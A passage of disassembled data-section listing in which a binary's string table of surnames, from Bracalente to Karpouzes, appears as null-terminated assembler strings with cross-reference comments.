aBracalente	db 'Bracalente',0       ; DATA XREF: .data:00445624o
		align 10h
aBradac		db 'Bradac',0           ; DATA XREF: .data:00445628o
		align 4
aBradach	db 'Bradach',0          ; DATA XREF: .data:0044562Co
aBrecht		db 'Brecht',0           ; DATA XREF: .data:00445630o
		align 4
aBreed		db 'Breed',0            ; DATA XREF: .data:00445634o
		align 10h
aBrenan		db 'Brenan',0           ; DATA XREF: .data:00445638o
		align 4
aBrennan	db 'Brennan',0          ; DATA XREF: .data:0044563Co
aBrewer		db 'Brewer',0           ; DATA XREF: .data:00445640o
		align 4
aBrewer_0	db 'Brewer',0           ; DATA XREF: .data:00445644o
		align 10h
aBridgeman	db 'Bridgeman',0        ; DATA XREF: .data:00445648o
		align 4
aBridges	db 'Bridges',0          ; DATA XREF: .data:0044564Co
aBrinton	db 'Brinton',0          ; DATA XREF: .data:00445650o
aBritz		db 'Britz',0            ; DATA XREF: .data:00445654o
		align 4
aBroca		db 'Broca',0            ; DATA XREF: .data:00445658o
		align 4
aBrook		db 'Brook',0            ; DATA XREF: .data:0044565Co
		align 4
aBrzycki	db 'Brzycki',0          ; DATA XREF: .data:00445660o
aBuchan		db 'Buchan',0           ; DATA XREF: .data:00445664o
		align 4
aBudding	db 'Budding',0          ; DATA XREF: .data:00445668o
aBullard	db 'Bullard',0          ; DATA XREF: .data:0044566Co
aBunton		db 'Bunton',0           ; DATA XREF: .data:00445670o
		align 4
aBurden		db 'Burden',0           ; DATA XREF: .data:00445674o
		align 4
aBurdzy		db 'Burdzy',0           ; DATA XREF: .data:00445678o
		align 4
aBurke		db 'Burke',0            ; DATA XREF: .data:0044567Co
		align 4
aBurridge	db 'Burridge',0         ; DATA XREF: .data:00445680o
		align 10h
aBusetta	db 'Busetta',0          ; DATA XREF: .data:00445684o
aByatt		db 'Byatt',0            ; DATA XREF: .data:00445688o
		align 10h
aByerly		db 'Byerly',0           ; DATA XREF: .data:0044568Co
		align 4
aByrd		db 'Byrd',0             ; DATA XREF: .data:00445690o
		align 10h
aCage		db 'Cage',0             ; DATA XREF: .data:00445694o
		align 4
aCalnan		db 'Calnan',0           ; DATA XREF: .data:00445698o
		align 10h
aCammelli	db 'Cammelli',0         ; DATA XREF: .data:0044569Co
		align 4
aCammilleri	db 'Cammilleri',0       ; DATA XREF: .data:004456A0o
		align 4
aCanley		db 'Canley',0           ; DATA XREF: .data:004456A4o
		align 10h
aCapanni	db 'Capanni',0          ; DATA XREF: .data:004456A8o
aCaperton	db 'Caperton',0         ; DATA XREF: .data:004456ACo
		align 4
aCapocaccia	db 'Capocaccia',0       ; DATA XREF: .data:004456B0o
		align 10h
aCapodilupo	db 'Capodilupo',0       ; DATA XREF: .data:004456B4o
		align 4
aCappuccio	db 'Cappuccio',0        ; DATA XREF: .data:004456B8o
		align 4
aCapursi	db 'Capursi',0          ; DATA XREF: .data:004456BCo
aCaratozzolo	db 'Caratozzolo',0      ; DATA XREF: .data:004456C0o
aCarayannopoulo	db 'Carayannopoulos',0  ; DATA XREF: .data:004456C4o
aCarlin		db 'Carlin',0           ; DATA XREF: .data:004456C8o
		align 4
aCarlos		db 'Carlos',0           ; DATA XREF: .data:004456CCo
		align 4
aCarlyle	db 'Carlyle',0          ; DATA XREF: .data:004456D0o
aCarmichael	db 'Carmichael',0       ; DATA XREF: .data:004456D4o
		align 10h
aCaroti		db 'Caroti',0           ; DATA XREF: .data:004456D8o
		align 4
aCarper		db 'Carper',0           ; DATA XREF: .data:004456DCo
		align 10h
aCartmill	db 'Cartmill',0         ; DATA XREF: .data:004456E0o
		align 4
aCascio		db 'Cascio',0           ; DATA XREF: .data:004456E4o
		align 4
aCase		db 'Case',0             ; DATA XREF: .data:004456E8o
		align 4
aCaspar		db 'Caspar',0           ; DATA XREF: .data:004456ECo
		align 4
aCastelda	db 'Castelda',0         ; DATA XREF: .data:004456F0o
		align 10h
aCavanagh	db 'Cavanagh',0         ; DATA XREF: .data:004456F4o
		align 4
aCavell		db 'Cavell',0           ; DATA XREF: .data:004456F8o
		align 4
aCeniceros	db 'Ceniceros',0        ; DATA XREF: .data:004456FCo
		align 10h
aCerioli	db 'Cerioli',0          ; DATA XREF: .data:00445700o
aChapman	db 'Chapman',0          ; DATA XREF: .data:00445704o
aCharles	db 'Charles',0          ; DATA XREF: .data:00445708o
aCheang		db 'Cheang',0           ; DATA XREF: .data:0044570Co
		align 10h
aCherry		db 'Cherry',0           ; DATA XREF: .data:00445710o
		align 4
aChervinsky	db 'Chervinsky',0       ; DATA XREF: .data:00445714o
		align 4
aChiassino	db 'Chiassino',0        ; DATA XREF: .data:00445718o
		align 10h
aChien		db 'Chien',0            ; DATA XREF: .data:0044571Co
		align 4
aChildress	db 'Childress',0        ; DATA XREF: .data:00445720o
		align 4
aChilds		db 'Childs',0           ; DATA XREF: .data:00445724o
		align 4
aChinipardaz	db 'Chinipardaz',0      ; DATA XREF: .data:00445728o
aChinman	db 'Chinman',0          ; DATA XREF: .data:0044572Co
aChristenson	db 'Christenson',0      ; DATA XREF: .data:00445730o
aChristian	db 'Christian',0        ; DATA XREF: .data:00445734o
		align 4
aChristiano	db 'Christiano',0       ; DATA XREF: .data:00445738o
		align 4
aChristie	db 'Christie',0         ; DATA XREF: .data:0044573Co
		align 10h
aChristopher	db 'Christopher',0      ; DATA XREF: .data:00445740o
aChu		db 'Chu',0              ; DATA XREF: .data:00445744o
aChupasko	db 'Chupasko',0         ; DATA XREF: .data:00445748o
		align 4
aChurch		db 'Church',0           ; DATA XREF: .data:0044574Co
		align 4
aCiampaglia	db 'Ciampaglia',0       ; DATA XREF: .data:off_445750o
		align 10h
aCicero		db 'Cicero',0           ; DATA XREF: .data:00445754o
		align 4
aCifarelli	db 'Cifarelli',0        ; DATA XREF: .data:00445758o
		align 4
aClaffey	db 'Claffey',0          ; DATA XREF: .data:0044575Co
aClancy		db 'Clancy',0           ; DATA XREF: .data:00445760o
		align 4
aClark		db 'Clark',0            ; DATA XREF: .data:00445764o
		align 4
aClement	db 'Clement',0          ; DATA XREF: .data:00445768o
aClifton	db 'Clifton',0          ; DATA XREF: .data:0044576Co
aClow		db 'Clow',0             ; DATA XREF: .data:00445770o
		align 4
aCoblenz	db 'Coblenz',0          ; DATA XREF: .data:00445774o
aCoito		db 'Coito',0            ; DATA XREF: .data:00445778o
		align 4
aColdren	db 'Coldren',0          ; DATA XREF: .data:0044577Co
aColella	db 'Colella',0          ; DATA XREF: .data:00445780o
aCollard	db 'Collard',0          ; DATA XREF: .data:00445784o
aCollis		db 'Collis',0           ; DATA XREF: .data:00445788o
		align 4
aCompton	db 'Compton',0          ; DATA XREF: .data:0044578Co
aCompton_0	db 'Compton',0          ; DATA XREF: .data:00445790o
aComstock	db 'Comstock',0         ; DATA XREF: .data:00445794o
		align 10h
aConcino	db 'Concino',0          ; DATA XREF: .data:00445798o
aCondodina	db 'Condodina',0        ; DATA XREF: .data:0044579Co
		align 4
aConnors	db 'Connors',0          ; DATA XREF: .data:004457A0o
aCorey		db 'Corey',0            ; DATA XREF: .data:004457A4o
		align 4
aCornish	db 'Cornish',0          ; DATA XREF: .data:004457A8o
aCosmides	db 'Cosmides',0         ; DATA XREF: .data:004457ACo
		align 4
aCounter	db 'Counter',0          ; DATA XREF: .data:004457B0o
aCoutaux	db 'Coutaux',0          ; DATA XREF: .data:004457B4o
aCrawford	db 'Crawford',0         ; DATA XREF: .data:004457B8o
		align 4
aCrocker	db 'Crocker',0          ; DATA XREF: .data:004457BCo
aCroshaw	db 'Croshaw',0          ; DATA XREF: .data:004457C0o
aCroxen		db 'Croxen',0           ; DATA XREF: .data:004457C4o
		align 4
aCroxton	db 'Croxton',0          ; DATA XREF: .data:004457C8o
aCui		db 'Cui',0              ; DATA XREF: .data:004457CCo
aCurrier	db 'Currier',0          ; DATA XREF: .data:004457D0o
aCutler		db 'Cutler',0           ; DATA XREF: .data:004457D4o
		align 4
aCvek		db 'Cvek',0             ; DATA XREF: .data:004457D8o
		align 10h
aCyders		db 'Cyders',0           ; DATA XREF: .data:004457DCo
		align 4
aDasilva	db 'daSilva',0          ; DATA XREF: .data:004457E0o
aDaldalian	db 'Daldalian',0        ; DATA XREF: .data:004457E4o
		align 4
aDaly		db 'Daly',0             ; DATA XREF: .data:004457E8o
		align 4
aDAmbra		db 'D',27h,'Ambra',0    ; DATA XREF: .data:004457ECo
aDanieli	db 'Danieli',0          ; DATA XREF: .data:004457F0o
aDante		db 'Dante',0            ; DATA XREF: .data:004457F4o
		align 4
aDapice		db 'Dapice',0           ; DATA XREF: .data:004457F8o
		align 4
aDArcangelo	db 'D',27h,'arcangelo',0 ; DATA XREF: .data:004457FCo
aDas		db 'Das',0              ; DATA XREF: .data:00445800o
aDasgupta	db 'Dasgupta',0         ; DATA XREF: .data:00445804o
		align 10h
aDaskalu	db 'Daskalu',0          ; DATA XREF: .data:00445808o
aDavid		db 'David',0            ; DATA XREF: .data:0044580Co
		align 10h
aDawkins	db 'Dawkins',0          ; DATA XREF: .data:00445810o
aDegennaro	db 'DeGennaro',0        ; DATA XREF: .data:00445814o
		align 4
aDelapena	db 'DeLaPena',0         ; DATA XREF: .data:00445818o
		align 10h
aDelEnclos	db 'del',27h,'Enclos',0 ; DATA XREF: .data:0044581Co
		align 4
aDerousse	db 'deRousse',0         ; DATA XREF: .data:00445820o
		align 4
aDebroff	db 'Debroff',0          ; DATA XREF: .data:00445824o
aDees		db 'Dees',0             ; DATA XREF: .data:00445828o
		align 4
aDefeciani	db 'Defeciani',0        ; DATA XREF: .data:0044582Co
		align 4
aDelattre	db 'Delattre',0         ; DATA XREF: .data:00445830o
		align 10h
aDeleonRendon	db 'Deleon-Rendon',0    ; DATA XREF: .data:00445834o
		align 10h
aDelger		db 'Delger',0           ; DATA XREF: .data:00445838o
		align 4
aDellAcqua	db 'Dell',27h,'acqua',0 ; DATA XREF: .data:0044583Co
		align 4
aDeming		db 'Deming',0           ; DATA XREF: .data:00445840o
		align 4
aDempster	db 'Dempster',0         ; DATA XREF: .data:00445844o
		align 4
aDemusz		db 'Demusz',0           ; DATA XREF: .data:00445848o
		align 10h
aDenault	db 'Denault',0          ; DATA XREF: .data:0044584Co
aDenham		db 'Denham',0           ; DATA XREF: .data:00445850o
		align 10h
aDenison	db 'Denison',0          ; DATA XREF: .data:00445854o
aDesombre	db 'Desombre',0         ; DATA XREF: .data:00445858o
		align 4
aDeutsch	db 'Deutsch',0          ; DATA XREF: .data:0044585Co
aDFini		db 'D',27h,'fini',0     ; DATA XREF: .data:00445860o
		align 4
aDicks		db 'Dicks',0            ; DATA XREF: .data:00445864o
		align 4
aDiefenbach	db 'Diefenbach',0       ; DATA XREF: .data:00445868o
		align 4
aDifabio	db 'Difabio',0          ; DATA XREF: .data:0044586Co
aDifronzo	db 'Difronzo',0         ; DATA XREF: .data:00445870o
		align 4
aDilworth	db 'Dilworth',0         ; DATA XREF: .data:00445874o
		align 4
aDionysius	db 'Dionysius',0        ; DATA XREF: .data:00445878o
		align 4
aDirksen	db 'Dirksen',0          ; DATA XREF: .data:0044587Co
aDockery	db 'Dockery',0          ; DATA XREF: .data:00445880o
aDoherty	db 'Doherty',0          ; DATA XREF: .data:00445884o
aDonahue	db 'Donahue',0          ; DATA XREF: .data:00445888o
aDonner		db 'Donner',0           ; DATA XREF: .data:0044588Co
		align 4
aDoonan		db 'Doonan',0           ; DATA XREF: .data:00445890o
		align 4
aDore		db 'Dore',0             ; DATA XREF: .data:00445894o
		align 4
aDorf		db 'Dorf',0             ; DATA XREF: .data:00445898o
		align 4
aDosi		db 'Dosi',0             ; DATA XREF: .data:0044589Co
		align 4
aDoty		db 'Doty',0             ; DATA XREF: .data:004458A0o
		align 4
aDoug		db 'Doug',0             ; DATA XREF: .data:004458A4o
		align 4
aDowsland	db 'Dowsland',0         ; DATA XREF: .data:004458A8o
		align 4
aDrinker	db 'Drinker',0          ; DATA XREF: .data:004458ACo
aDSouza		db 'D',27h,'souza',0    ; DATA XREF: .data:004458B0o
aDuffin		db 'Duffin',0           ; DATA XREF: .data:004458B4o
		align 10h
aDurrett	db 'Durrett',0          ; DATA XREF: .data:004458B8o
aDussault	db 'Dussault',0         ; DATA XREF: .data:004458BCo
		align 4
aDwyer		db 'Dwyer',0            ; DATA XREF: .data:004458C0o
		align 4
aEardley	db 'Eardley',0          ; DATA XREF: .data:004458C4o
aEbeling	db 'Ebeling',0          ; DATA XREF: .data:004458C8o
aEckel		db 'Eckel',0            ; DATA XREF: .data:004458CCo
		align 4
aEdley		db 'Edley',0            ; DATA XREF: .data:004458D0o
		align 4
aEdner		db 'Edner',0            ; DATA XREF: .data:004458D4o
		align 4
aEdward		db 'Edward',0           ; DATA XREF: .data:004458D8o
		align 4
aEickenhorst	db 'Eickenhorst',0      ; DATA XREF: .data:004458DCo
aEliasson	db 'Eliasson',0         ; DATA XREF: .data:004458E0o
		align 4
aElmendorf	db 'Elmendorf',0        ; DATA XREF: .data:004458E4o
		align 10h
aElmerick	db 'Elmerick',0         ; DATA XREF: .data:004458E8o
		align 4
aElvis		db 'Elvis',0            ; DATA XREF: .data:004458ECo
		align 4
aEncinas	db 'Encinas',0          ; DATA XREF: .data:004458F0o
aEnyeart	db 'Enyeart',0          ; DATA XREF: .data:004458F4o
aEppling	db 'Eppling',0          ; DATA XREF: .data:004458F8o
aErbach		db 'Erbach',0           ; DATA XREF: .data:004458FCo
		align 4
aErdman		db 'Erdman',0           ; DATA XREF: .data:00445900o
		align 4
aErdos		db 'Erdos',0            ; DATA XREF: .data:00445904o
		align 4
aErez		db 'Erez',0             ; DATA XREF: .data:00445908o
		align 4
aEspinoza	db 'Espinoza',0         ; DATA XREF: .data:0044590Co
		align 4
aEstes		db 'Estes',0            ; DATA XREF: .data:00445910o
		align 10h
aEtter		db 'Etter',0            ; DATA XREF: .data:00445914o
		align 4
aEuripides	db 'Euripides',0        ; DATA XREF: .data:00445918o
		align 4
aEverett	db 'Everett',0          ; DATA XREF: .data:0044591Co
aFabbris	db 'Fabbris',0          ; DATA XREF: .data:00445920o
aFagan		db 'Fagan',0            ; DATA XREF: .data:00445924o
		align 4
aFaioes		db 'Faioes',0           ; DATA XREF: .data:00445928o
		align 4
aFalcoAcosta	db 'Falco-Acosta',0     ; DATA XREF: .data:0044592Co
		align 4
aFalorsi	db 'Falorsi',0          ; DATA XREF: .data:00445930o
aFaris		db 'Faris',0            ; DATA XREF: .data:00445934o
		align 4
aFarone		db 'Farone',0           ; DATA XREF: .data:00445938o
		align 4
aFarren		db 'Farren',0           ; DATA XREF: .data:0044593Co
		align 4
aFasso		db 'Fasso',27h,0        ; DATA XREF: .data:00445940o
		align 4
aFates		db 'Fates',0            ; DATA XREF: .data:00445944o
		align 4
aFeigenbaum	db 'Feigenbaum',0       ; DATA XREF: .data:00445948o
		align 10h
aFejzo		db 'Fejzo',0            ; DATA XREF: .data:0044594Co
		align 4
aFeldman	db 'Feldman',0          ; DATA XREF: .data:00445950o
aFernald	db 'Fernald',0          ; DATA XREF: .data:00445954o
aFernandes	db 'Fernandes',0        ; DATA XREF: .data:00445958o
		align 4
aFerrante	db 'Ferrante',0         ; DATA XREF: .data:0044595Co
		align 10h
aFerriell	db 'Ferriell',0         ; DATA XREF: .data:00445960o
		align 4
aFeuer		db 'Feuer',0            ; DATA XREF: .data:00445964o
		align 4
aFido		db 'Fido',0             ; DATA XREF: .data:00445968o
		align 4
aField		db 'Field',0            ; DATA XREF: .data:0044596Co
		align 4
aFink		db 'Fink',0             ; DATA XREF: .data:00445970o
		align 4
aFinkelstein	db 'Finkelstein',0      ; DATA XREF: .data:00445974o
aFinnegan	db 'Finnegan',0         ; DATA XREF: .data:00445978o
		align 4
aFiorina	db 'Fiorina',0          ; DATA XREF: .data:0044597Co
aFisk		db 'Fisk',0             ; DATA XREF: .data:00445980o
		align 4
aFitzmaurice	db 'Fitzmaurice',0      ; DATA XREF: .data:00445984o
aFlier		db 'Flier',0            ; DATA XREF: .data:00445988o
		align 4
aFlores		db 'Flores',0           ; DATA XREF: .data:0044598Co
		align 10h
aFolks		db 'Folks',0            ; DATA XREF: .data:00445990o
		align 4
aForester	db 'Forester',0         ; DATA XREF: .data:00445994o
		align 4
aFortes		db 'Fortes',0           ; DATA XREF: .data:00445998o
		align 4
aFortier	db 'Fortier',0          ; DATA XREF: .data:0044599Co
aFossey		db 'Fossey',0           ; DATA XREF: .data:004459A0o
		align 4
aFossi		db 'Fossi',0            ; DATA XREF: .data:004459A4o
		align 4
aFrancisco	db 'Francisco',0        ; DATA XREF: .data:004459A8o
		align 10h
aFranklinKenea	db 'Franklin-Kenea',0   ; DATA XREF: .data:004459ACo
		align 10h
aFranz		db 'Franz',0            ; DATA XREF: .data:004459B0o
		align 4
aFrazierDavis	db 'Frazier-Davis',0    ; DATA XREF: .data:004459B4o
		align 4
aFreid		db 'Freid',0            ; DATA XREF: .data:004459B8o
		align 10h
aFreundlich	db 'Freundlich',0       ; DATA XREF: .data:004459BCo
		align 4
aFried		db 'Fried',0            ; DATA XREF: .data:004459C0o
		align 4
aFriedland	db 'Friedland',0        ; DATA XREF: .data:004459C4o
		align 10h
aFrisken	db 'Frisken',0          ; DATA XREF: .data:004459C8o
aFrowiss	db 'Frowiss',0          ; DATA XREF: .data:004459CCo
aFryberger	db 'Fryberger',0        ; DATA XREF: .data:004459D0o
		align 4
aFrye		db 'Frye',0             ; DATA XREF: .data:004459D4o
		align 4
aFujiiAbe	db 'Fujii-Abe',0        ; DATA XREF: .data:004459D8o
		align 10h
aFuller		db 'Fuller',0           ; DATA XREF: .data:004459DCo
		align 4
aFurth		db 'Furth',0            ; DATA XREF: .data:004459E0o
		align 10h
aFusaro		db 'Fusaro',0           ; DATA XREF: .data:004459E4o
		align 4
aGabrielli	db 'Gabrielli',0        ; DATA XREF: .data:004459E8o
		align 4
aGaggiotti	db 'Gaggiotti',0        ; DATA XREF: .data:004459ECo
		align 10h
aGaleotti	db 'Galeotti',0         ; DATA XREF: .data:004459F0o
		align 4
aGalwey		db 'Galwey',0           ; DATA XREF: .data:004459F4o
		align 4
aGambini	db 'Gambini',0          ; DATA XREF: .data:004459F8o
aGarfield	db 'Garfield',0         ; DATA XREF: .data:004459FCo
		align 4
aGarman		db 'Garman',0           ; DATA XREF: .data:00445A00o
		align 10h
aGaronna	db 'Garonna',0          ; DATA XREF: .data:00445A04o
aGeller		db 'Geller',0           ; DATA XREF: .data:00445A08o
		align 10h
aGemberling	db 'Gemberling',0       ; DATA XREF: .data:00445A0Co
		align 4
aGeorgi		db 'Georgi',0           ; DATA XREF: .data:00445A10o
		align 4
aGerrett	db 'Gerrett',0          ; DATA XREF: .data:00445A14o
aGhorai		db 'Ghorai',0           ; DATA XREF: .data:00445A18o
		align 4
aGibbens	db 'Gibbens',0          ; DATA XREF: .data:00445A1Co
aGibson		db 'Gibson',0           ; DATA XREF: .data:00445A20o
		align 4
aGilbert	db 'Gilbert',0          ; DATA XREF: .data:00445A24o
aGili		db 'Gili',0             ; DATA XREF: .data:00445A28o
		align 4
aGill		db 'Gill',0             ; DATA XREF: .data:00445A2Co
		align 4
aGillispie	db 'Gillispie',0        ; DATA XREF: .data:00445A30o
		align 4
aGist		db 'Gist',0             ; DATA XREF: .data:00445A34o
		align 10h
aGleason	db 'Gleason',0          ; DATA XREF: .data:00445A38o
aGlegg		db 'Glegg',0            ; DATA XREF: .data:00445A3Co
		align 10h
aGlendon	db 'Glendon',0          ; DATA XREF: .data:00445A40o
aGoldfarb	db 'Goldfarb',0         ; DATA XREF: .data:00445A44o
		align 4
aGoncalves	db 'Goncalves',0        ; DATA XREF: .data:00445A48o
		align 10h
aGood		db 'Good',0             ; DATA XREF: .data:00445A4Co
		align 4
aGoodearl	db 'Goodearl',0         ; DATA XREF: .data:00445A50o
		align 4
aGoody		db 'Goody',0            ; DATA XREF: .data:00445A54o
		align 4
aGozzi		db 'Gozzi',0            ; DATA XREF: .data:00445A58o
		align 4
aGravell	db 'Gravell',0          ; DATA XREF: .data:00445A5Co
aGreenberg	db 'Greenberg',0        ; DATA XREF: .data:00445A60o
		align 4
aGreenfeld	db 'Greenfeld',0        ; DATA XREF: .data:00445A64o
		align 4
aGriffiths	db 'Griffiths',0        ; DATA XREF: .data:00445A68o
		align 10h
aGrigoletto	db 'Grigoletto',0       ; DATA XREF: .data:00445A6Co
		align 4
aGrummell	db 'Grummell',0         ; DATA XREF: .data:00445A70o
		align 4
aGruner		db 'Gruner',0           ; DATA XREF: .data:00445A74o
		align 10h
aGruppe		db 'Gruppe',0           ; DATA XREF: .data:00445A78o
		align 4
aGuenthart	db 'Guenthart',0        ; DATA XREF: .data:00445A7Co
		align 4
aGunn		db 'Gunn',0             ; DATA XREF: .data:00445A80o
		align 4
aGuo		db 'Guo',0              ; DATA XREF: .data:00445A84o
aHa		db 'Ha',0               ; DATA XREF: .data:00445A88o
		align 4
aHaar		db 'Haar',0             ; DATA XREF: .data:00445A8Co
		align 4
aHackman	db 'Hackman',0          ; DATA XREF: .data:00445A90o
aHackshaw	db 'Hackshaw',0         ; DATA XREF: .data:00445A94o
		align 10h
aHaley		db 'Haley',0            ; DATA XREF: .data:00445A98o
		align 4
aHalkias	db 'Halkias',0          ; DATA XREF: .data:00445A9Co
aHallowell	db 'Hallowell',0        ; DATA XREF: .data:00445AA0o
		align 4
aHalpert	db 'Halpert',0          ; DATA XREF: .data:00445AA4o
aHambarzumjan	db 'Hambarzumjan',0     ; DATA XREF: .data:00445AA8o
		align 4
aHamer		db 'Hamer',0            ; DATA XREF: .data:00445AACo
		align 4
aHammerness	db 'Hammerness',0       ; DATA XREF: .data:00445AB0o
		align 4
aHand		db 'Hand',0             ; DATA XREF: .data:00445AB4o
		align 10h
aHanssen	db 'Hanssen',0          ; DATA XREF: .data:00445AB8o
aHarding	db 'Harding',0          ; DATA XREF: .data:00445ABCo
aHargraves	db 'Hargraves',0        ; DATA XREF: .data:00445AC0o
		align 4
aHarlow		db 'Harlow',0           ; DATA XREF: .data:00445AC4o
		align 4
aHarrigan	db 'Harrigan',0         ; DATA XREF: .data:00445AC8o
		align 10h
aHartman	db 'Hartman',0          ; DATA XREF: .data:00445ACCo
aHartmann	db 'Hartmann',0         ; DATA XREF: .data:00445AD0o
		align 4
aHartnett	db 'Hartnett',0         ; DATA XREF: .data:00445AD4o
		align 10h
aHarwell	db 'Harwell',0          ; DATA XREF: .data:00445AD8o
aHaviaras	db 'Haviaras',0         ; DATA XREF: .data:00445ADCo
		align 4
aHawkes		db 'Hawkes',0           ; DATA XREF: .data:00445AE0o
		align 4
aHayes		db 'Hayes',0            ; DATA XREF: .data:00445AE4o
		align 4
aHaynes		db 'Haynes',0           ; DATA XREF: .data:00445AE8o
		align 4
aHazlewood	db 'Hazlewood',0        ; DATA XREF: .data:00445AECo
		align 4
aHeermans	db 'Heermans',0         ; DATA XREF: .data:00445AF0o
		align 4
aHeft		db 'Heft',0             ; DATA XREF: .data:00445AF4o
		align 4
aHeiland	db 'Heiland',0          ; DATA XREF: .data:00445AF8o
aHellman	db 'Hellman',0          ; DATA XREF: .data:00445AFCo
aHellmiss	db 'Hellmiss',0         ; DATA XREF: .data:00445B00o
		align 4
aHelprin	db 'Helprin',0          ; DATA XREF: .data:00445B04o
aHemphill	db 'Hemphill',0         ; DATA XREF: .data:00445B08o
		align 4
aHenery		db 'Henery',0           ; DATA XREF: .data:00445B0Co
		align 4
aHenrichs	db 'Henrichs',0         ; DATA XREF: .data:00445B10o
		align 10h
aHernandez	db 'Hernandez',0        ; DATA XREF: .data:00445B14o
		align 4
aHerrera	db 'Herrera',0          ; DATA XREF: .data:00445B18o
aHester		db 'Hester',0           ; DATA XREF: .data:00445B1Co
		align 4
aHeubert	db 'Heubert',0          ; DATA XREF: .data:00445B20o
aHeyeck		db 'Heyeck',0           ; DATA XREF: .data:00445B24o
		align 4
aHimmelfarb	db 'Himmelfarb',0       ; DATA XREF: .data:00445B28o
		align 4
aHind		db 'Hind',0             ; DATA XREF: .data:00445B2Co
		align 10h
aHirst		db 'Hirst',0            ; DATA XREF: .data:00445B30o
		align 4
aHitchcock	db 'Hitchcock',0        ; DATA XREF: .data:00445B34o
		align 4
aHoang		db 'Hoang',0            ; DATA XREF: .data:00445B38o
		align 4
aHock		db 'Hock',0             ; DATA XREF: .data:00445B3Co
		align 4
aHoffer		db 'Hoffer',0           ; DATA XREF: .data:00445B40o
		align 4
aHoffman	db 'Hoffman',0          ; DATA XREF: .data:00445B44o
aHokanson	db 'Hokanson',0         ; DATA XREF: .data:00445B48o
		align 10h
aHokoda		db 'Hokoda',0           ; DATA XREF: .data:00445B4Co
		align 4
aHolmes		db 'Holmes',0           ; DATA XREF: .data:00445B50o
		align 10h
aHoloien	db 'Holoien',0          ; DATA XREF: .data:00445B54o
aHolter		db 'Holter',0           ; DATA XREF: .data:00445B58o
		align 10h
aHolway		db 'Holway',0           ; DATA XREF: .data:00445B5Co
		align 4
aHolzman	db 'Holzman',0          ; DATA XREF: .data:00445B60o
aHooker		db 'Hooker',0           ; DATA XREF: .data:00445B64o
		align 4
aHopkins	db 'Hopkins',0          ; DATA XREF: .data:00445B68o
aHorsley	db 'Horsley',0          ; DATA XREF: .data:00445B6Co
aHoshida	db 'Hoshida',0          ; DATA XREF: .data:00445B70o
aHostage	db 'Hostage',0          ; DATA XREF: .data:00445B74o
aHottle		db 'Hottle',0           ; DATA XREF: .data:00445B78o
		align 10h
aHoward		db 'Howard',0           ; DATA XREF: .data:00445B7Co
		align 4
aHoy		db 'Hoy',0              ; DATA XREF: .data:00445B80o
aHuey		db 'Huey',0             ; DATA XREF: .data:00445B84o
		align 4
aHuidekoper	db 'Huidekoper',0       ; DATA XREF: .data:00445B88o
		align 10h
aHungerford	db 'Hungerford',0       ; DATA XREF: .data:00445B8Co
		align 4
aHuntington	db 'Huntington',0       ; DATA XREF: .data:00445B90o
		align 4
aHupp		db 'Hupp',0             ; DATA XREF: .data:00445B94o
		align 10h
aHurtubise	db 'Hurtubise',0        ; DATA XREF: .data:00445B98o
		align 4
aHutchings	db 'Hutchings',0        ; DATA XREF: .data:00445B9Co
		align 4
aHyde		db 'Hyde',0             ; DATA XREF: .data:00445BA0o
		align 10h
aIaquinta	db 'Iaquinta',0         ; DATA XREF: .data:00445BA4o
		align 4
aIchikawa	db 'Ichikawa',0         ; DATA XREF: .data:00445BA8o
		align 4
aIgarashi	db 'Igarashi',0         ; DATA XREF: .data:00445BACo
		align 4
aInamura	db 'Inamura',0          ; DATA XREF: .data:00445BB0o
aInniss		db 'Inniss',0           ; DATA XREF: .data:00445BB4o
		align 4
aIsaac		db 'Isaac',0            ; DATA XREF: .data:00445BB8o
		align 4
aIsaievych	db 'Isaievych',0        ; DATA XREF: .data:00445BBCo
		align 4
aIsbill		db 'Isbill',0           ; DATA XREF: .data:00445BC0o
		align 10h
aIsserman	db 'Isserman',0         ; DATA XREF: .data:00445BC4o
		align 4
aIyer		db 'Iyer',0             ; DATA XREF: .data:00445BC8o
		align 4
aJacenko	db 'Jacenko',0          ; DATA XREF: .data:00445BCCo
aJackson	db 'Jackson',0          ; DATA XREF: .data:00445BD0o
aJagers		db 'Jagers',0           ; DATA XREF: .data:00445BD4o
		align 4
aJagger		db 'Jagger',0           ; DATA XREF: .data:00445BD8o
		align 4
aJagoe		db 'Jagoe',0            ; DATA XREF: .data:00445BDCo
		align 4
aJain		db 'Jain',0             ; DATA XREF: .data:00445BE0o
		align 4
aJamil		db 'Jamil',0            ; DATA XREF: .data:00445BE4o
		align 4
aJanjigian	db 'Janjigian',0        ; DATA XREF: .data:00445BE8o
		align 4
aJarnagin	db 'Jarnagin',0         ; DATA XREF: .data:00445BECo
		align 4
aJarrell	db 'Jarrell',0          ; DATA XREF: .data:00445BF0o
aJay		db 'Jay',0              ; DATA XREF: .data:00445BF4o
aJeffers	db 'Jeffers',0          ; DATA XREF: .data:00445BF8o
aJellis		db 'Jellis',0           ; DATA XREF: .data:00445BFCo
		align 10h
aJenkins	db 'Jenkins',0          ; DATA XREF: .data:00445C00o
aJespersen	db 'Jespersen',0        ; DATA XREF: .data:00445C04o
		align 4
aJewett		db 'Jewett',0           ; DATA XREF: .data:00445C08o
		align 4
aJohannesson	db 'Johannesson',0      ; DATA XREF: .data:00445C0Co
aJohannsen	db 'Johannsen',0        ; DATA XREF: .data:00445C10o
		align 4
aJohns		db 'Johns',0            ; DATA XREF: .data:00445C14o
		align 4
aJolly		db 'Jolly',0            ; DATA XREF: .data:00445C18o
		align 4
aJorgensen	db 'Jorgensen',0        ; DATA XREF: .data:00445C1Co
		align 10h
aJucks		db 'Jucks',0            ; DATA XREF: .data:00445C20o
		align 4
aJuliano	db 'Juliano',0          ; DATA XREF: .data:00445C24o
aJulious	db 'Julious',0          ; DATA XREF: .data:00445C28o
aKabbash	db 'Kabbash',0          ; DATA XREF: .data:00445C2Co
aKaboolian	db 'Kaboolian',0        ; DATA XREF: .data:00445C30o
		align 4
aKafadar	db 'Kafadar',0          ; DATA XREF: .data:00445C34o
aKalbfleisch	db 'Kalbfleisch',0      ; DATA XREF: .data:00445C38o
aKaligian	db 'Kaligian',0         ; DATA XREF: .data:00445C3Co
		align 4
aKalil		db 'Kalil',0            ; DATA XREF: .data:00445C40o
		align 4
aKalinowski	db 'Kalinowski',0       ; DATA XREF: .data:00445C44o
		align 10h
aKalman		db 'Kalman',0           ; DATA XREF: .data:00445C48o
		align 4
aKamel		db 'Kamel',0            ; DATA XREF: .data:00445C4Co
		align 10h
aKangis		db 'Kangis',0           ; DATA XREF: .data:00445C50o
		align 4
aKarpouzes	db 'Karpouzes',0        ; DATA XREF: .data:00445C54o
		align 4
